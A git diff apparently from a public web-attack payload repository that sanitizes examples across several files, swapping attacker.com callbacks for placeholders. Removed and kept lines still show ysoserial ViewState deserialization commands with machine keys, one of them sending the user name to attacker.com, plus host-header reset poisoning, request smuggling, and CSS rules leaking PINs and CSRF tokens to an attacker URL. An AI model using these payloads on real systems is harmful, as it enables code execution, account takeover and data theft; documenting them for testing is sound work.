diff --git a/API Key Leaks/IIS-Machine-Keys.md b/API Key Leaks/IIS-Machine-Keys.md index 8210e85879..2898b21d94 100644 --- a/API Key Leaks/IIS-Machine-Keys.md +++ b/API Key Leaks/IIS-Machine-Keys.md @@ -98,8 +98,8 @@ Try multiple machine keys from known products, Microsoft documentation, or other python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5 python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/ - python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/ - python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/ + python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://10.10.10.10:8080/ + python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://10.10.10.10:8080/a1/b/c1/ ``` * [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r) @@ -143,7 +143,7 @@ First you need to decode the Viewstate to know if the MAC and the encryption are ### MAC Is Not Enabled ```ps1 -ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" +ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "cmd /c whoami" ``` ### MAC Is Enabled And Encryption Is Disabled @@ -159,8 +159,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power * Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used. ```ps1 - .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" - .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" + .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" + .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" # --generator = `__VIEWSTATEGENERATOR` parameter value # --validationkey = validation key from the previous command @@ -175,13 +175,13 @@ If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework * **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request ```ps1 - .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug + .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug ``` * **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"` ```ps1 - .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" + .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c whoami" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" ``` ## Edit Cookies With The Machine Key diff --git a/Account Takeover/README.md b/Account Takeover/README.md index bc4810b658..5b3dddd1df 100644 --- a/Account Takeover/README.md +++ b/Account Takeover/README.md @@ -33,17 +33,17 @@ ### Account Takeover Through Password Reset Poisoning 1. Intercept the password reset request in Burp Suite -2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` +2. Add or edit the following headers in Burp Suite : `Host: [ATTACKER.DOMAIN.TLD]`, `X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]` 3. Forward the request with the modified header ```http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json - Host: attacker.com + Host: [ATTACKER.DOMAIN.TLD] ``` -4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN` +4. Look for a password reset URL based on the *host header* like : `https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN` ### Password Reset via Email Parameter @@ -142,7 +142,7 @@ Refer to **HTTP Request Smuggling** vulnerability page. 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: ```powershell - GET http://something.burpcollaborator.net HTTP/1.1 + GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: ``` @@ -157,7 +157,7 @@ Refer to **HTTP Request Smuggling** vulnerability page. 0 - GET http://something.burpcollaborator.net HTTP/1.1 + GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: X ``` @@ -173,7 +173,7 @@ Hackerone reports exploiting this bug ### Account Takeover via JWT -JSON Web Token might be used to authenticate an user. +JSON Web Token might be used to authenticate a user. * Edit the JWT with another User ID / Email * Check for weak JWT signature diff --git a/Business Logic Errors/README.md b/Business Logic Errors/README.md index b7df79d7dd..41ef4f3d62 100644 --- a/Business Logic Errors/README.md +++ b/Business Logic Errors/README.md @@ -89,7 +89,7 @@ In this example, instead of rounding and rejecting or enforcing a minimum transf ## References -* [Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20260305155804/https://portswigger.net/web-security/logic-flaws) -* [Business Logic Vulnerability - OWASP - 2024](https://web.archive.org/web/20200422002600/https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability) +* [Business Logic Vulnerabilities - PortSwigger - March 5, 2026](https://web.archive.org/web/20260305155804/https://portswigger.net/web-security/logic-flaws) +* [Business Logic Vulnerability - OWASP - April 22, 2020](https://web.archive.org/web/20200422002600/https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability) * [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://web.archive.org/web/20260304013031/https://cwe.mitre.org/data/definitions/840.html) -* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20200922175829/https://portswigger.net/web-security/logic-flaws/examples) +* [Examples of Business Logic Vulnerabilities - PortSwigger - September 22, 2020](https://web.archive.org/web/20200922175829/https://portswigger.net/web-security/logic-flaws/examples) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index da5febe720..5c40151b70 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -12,7 +12,7 @@ In order to provide the safest payloads for the community, the following rules m - Payloads must be sanitized - Use `id`, and `whoami`, for RCE Proof of Concepts - - Use `[REDACTED]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc. + - Use `[ATTACKER.DOMAIN.TLD]` when the user has to replace a domain for a callback. E.g: XSSHunter, BurpCollaborator etc. - Use `10.10.10.10` and `10.10.10.11` when the payload require IP addresses - Use `Administrator` for privileged users and `User` for normal account - Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples diff --git a/CORS Misconfiguration/README.md b/CORS Misconfiguration/README.md index 88072543d9..084954e9b8 100644 --- a/CORS Misconfiguration/README.md +++ b/CORS Misconfiguration/README.md @@ -269,6 +269,6 @@ function reqListener() { * [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://web.archive.org/web/20230323053559/https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/) * [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://web.archive.org/web/20260302141111/https://portswigger.net/web-security/cors) * [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://web.archive.org/web/20250512191501/https://hackerone.com/reports/235200) -* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://web.archive.org/web/20190919034024/https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - October 14, 2016](https://web.archive.org/web/20190919034024/https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) * [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://web.archive.org/web/20260204152901/https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/) -* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://web.archive.org/web/20210126182728/https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14, 2019](https://web.archive.org/web/20210126182728/https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) diff --git a/CSS Injection/README.md b/CSS Injection/README.md index 898b58f1eb..346e80b48a 100644 --- a/CSS Injection/README.md +++ b/CSS Injection/README.md @@ -47,7 +47,7 @@ input[value^="TOKEN_012"] { ```css input[name="pin"][value="1234"] { - background: url(https://attacker.com/log?pin=1234); + background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234); } ``` @@ -57,7 +57,7 @@ input[name="pin"][value="1234"] { ```css input[name="csrf-token"][value^="a"] + input { - background: url(https://example.com?q=a) + background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a) } ``` @@ -76,8 +76,8 @@ div:has(input[value="1337"]) { This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks. ```html - - + + ``` Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles. @@ -192,7 +192,7 @@ Payload example using `fontleak` with a custom selector, parent element, and alp * [CSS based Attack: Abusing unicode-range of @font-face - Masato Kinugawa - October 23, 2015](https://web.archive.org/web/20260212042745/https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) * [CSS Data Exfiltration to Steal OAuth Token - - September 13, 2025](https://web.archive.org/web/20250601232405/https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token) * [CSS Injection - xsleaks.dev - May 9, 2025](https://web.archive.org/web/20260114161847/https://xsleaks.dev/docs/attacks/css-injection/) -* [CSS Injection Attacks or how to leak content with